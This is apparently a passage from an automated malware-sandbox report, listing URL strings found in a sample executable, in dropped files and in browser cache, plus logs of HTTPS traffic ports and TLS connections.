Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/conversion/conversion_childneedshelp_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/conversion/conversion_nextstepsforparents.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/conversion/conversion_nextstepsforparents_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_allset.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_allset_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_apps_devices.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_apps_devices_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_areyousurekid.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_areyousurekid_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_birthdayemail.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_birthdayemail_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_choose_apps.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_choose_apps_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_confirmation.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_exploremore.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_exploremore_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_intro.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_intro_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_privacy_terms_a18.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_privacy_terms_a18_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_privacyterms.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_privacyterms_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_review_settings.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_review_settings_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_safe_search.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_safe_search_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_success_unchanged_a18.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_success_unchanged_a18_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_success_update_a18.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_success_update_a18_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_supervision_choice.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_supervision_choice_a18.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_supervision_choice_a18_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_supervision_choice_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_supervisiongrad.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/graduation/graduation_supervisiongrad_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/guardianlinking/linking_complete_0.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/guardianlinking/linking_complete_dark_0.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/ads_personalization.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/ads_personalization_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/confirmation.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/confirmation_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/eligibility_error.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/eligibility_error_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/fork.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/fork_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/intro.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/intro_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/personal_results.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/personal_results_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/safe_search.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/minormodeexit/safe_search_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/check_notifications.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/check_notifications_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/get_family_link_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/get_family_link_dark_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_fork_who_will_use_dark_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_fork_who_will_use_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_installing_family_link_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_installing_family_link_dark_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_set_up_location_sharing_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_set_up_location_sharing_dark_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_set_up_parental_controls_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_set_up_parental_controls_dark_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_set_up_school_time_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/kid_watch_set_up_school_time_dark_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/location_sharing_enabled_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/location_sharing_enabled_dark_3.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/parent_sign_in_prologue_1.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/parent_sign_in_prologue_dark_1.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/set_up_complete_0.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/set_up_complete_dark_0.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/set_up_contacts_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/set_up_contacts_dark_2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/ulp_continue_without_gmail_dark_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/onboarding/ulp_continue_without_gmail_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/all_set.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/all_set_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/are_you_sure_parent.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/are_you_sure_parent_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/content_restriction.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/content_restriction_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/error.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/error_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/how_controls_work.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/how_controls_work_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/next_steps.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/next_steps_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/setup_controls.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/setup_controls_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/who_parent.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/who_parent_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/who_teen.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teensupervisionreview/who_teen_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teentoadultgraduation/supervision_choice.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/teentoadultgraduation/supervision_choice_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/kid_setup_parent_escalation.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/kid_setup_parent_escalation_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/send_email_confirmation.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/send_email_confirmation_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/success_sent_email.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulp_appblock/success_sent_email_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulpupgrade/kidprofileupgrade_all_set.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/images/ulpupgrade/kidprofileupgrade_all_set_darkmode.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/all_set.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/all_set_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/almost_done_kids_space_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/almost_done_kids_space_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/alreadyinstalledfamilylink.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/alreadyinstalledfamilylink_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_tablet_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_tablet_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/devices_connected_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/emailinstallfamilylink.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/emailinstallfamilylink_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/familylinkinstalling.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/familylinkinstalling_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/hand_over_device_dark_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/hand_over_device_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/installfamilylink.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/installfamilylink_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/linking_accounts_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/linking_accounts_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/locationsetup.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/locationsetup_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_email_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/manage_parental_controls_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/open_family_link_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/open_family_link_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/parents_help.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/parents_help_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/set_up_kids_space.png
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/set_up_kids_space_dark.png
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setupcontrol.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setupcontrol_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuplocation.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuplocation_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuptimelimits.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/setuptimelimits_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/supervision_ready_v2.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/supervision_ready_v2_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/youtubeaccess.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://ssl.gstatic.com/kids/onboarding/illustrations/youtubeaccess_dark.svg
Source: chromecache_195.15.dr	String found in binary or memory: https://support.google.com/accounts?hl=
Source: chromecache_195.15.dr	String found in binary or memory: https://support.google.com/accounts?p=new-si-ui
Source: chromecache_195.15.dr	String found in binary or memory: https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1704852784.0000000022D5D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: file.exe, 00000000.00000003.1704852784.0000000022D5D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1836482618.0000000000468000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: chromecache_202.15.dr	String found in binary or memory: https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=
Source: file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1840591206.0000000001778000.00000004.00000020.00020000.00000000.sdmp, EBAFHCBF.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1840591206.0000000001872000.00000004.00000020.00020000.00000000.sdmp, AEBKFIJEGCAAFHJKFCFC.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chromecache_195.15.dr	String found in binary or memory: https://www.google.com
Source: EBAFHCBF.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_195.15.dr	String found in binary or memory: https://www.google.com/intl/
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/accounts/speedbump/authzen_optin_illustration.gif
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/chrome_48dp.png
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/googleg_48dp.png
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/gsa_48dp.png
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/play_prism_48dp.png
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/2x/youtube_48dp.png
Source: chromecache_195.15.dr	String found in binary or memory: https://www.gstatic.com/images/branding/productlogos/googleg/v6/36px.svg
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/eBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VS
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1836482618.00000000004C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000000.00000003.1777918134.00000000290B4000.00000004.00000020.00020000.00000000.sdmp, JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1836482618.000000000056A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1777918134.00000000290B4000.00000004.00000020.00020000.00000000.sdmp, JKJKJJDBKEGIECAAECFHCFBGIJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1836482618.000000000056A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248431725.0000000003DA7000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: 29c55c1284.exe, 0000000D.00000003.2238768524.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2245981355.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2243989254.0000000003CFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account$
Source: 29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account2=
Source: 29c55c1284.exe, 0000000D.00000003.2244202209.0000000003D56000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000003.2244718987.0000000003D5C000.00000004.00000020.00020000.00000000.sdmp, 29c55c1284.exe, 0000000D.00000002.2248350185.0000000003D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountj=&
Source: chromecache_195.15.dr	String found in binary or memory: https://www.youtube.com/t/terms?chromeless=1&hl=
Source: chromecache_195.15.dr	String found in binary or memory: https://youtube.com/t/terms?gl=

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58935
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58934
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58868
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58871
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58910
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 58934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 58935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49741 version: TLS 1.2
